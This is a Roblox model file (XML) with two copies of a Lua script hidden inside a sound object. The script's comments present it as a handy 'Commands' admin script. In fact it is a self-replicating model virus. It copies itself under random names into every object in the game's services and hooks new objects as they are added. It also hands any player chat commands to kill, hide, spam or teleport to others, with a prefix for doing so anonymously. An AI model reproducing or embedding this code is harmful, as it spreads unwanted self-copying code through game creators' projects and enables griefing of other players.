shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX25">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">07wbx</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX26">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">utqc</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX27">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">12</int>
					<CoordinateFrame name="CFrame">
						<X>3.5</X>
						<Y>3.29890823</Y>
						<Z>107.5</Z>
						<R00>-1</R00>
						<R01>-3.96310834e-021</R01>
						<R02>-3.01117346e-022</R02>
						<R10>-3.96310834e-021</R10>
						<R11>1</R11>
						<R12>5.68789786e-021</R12>
						<R20>3.01117346e-022</R20>
						<R21>5.68789786e-021</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
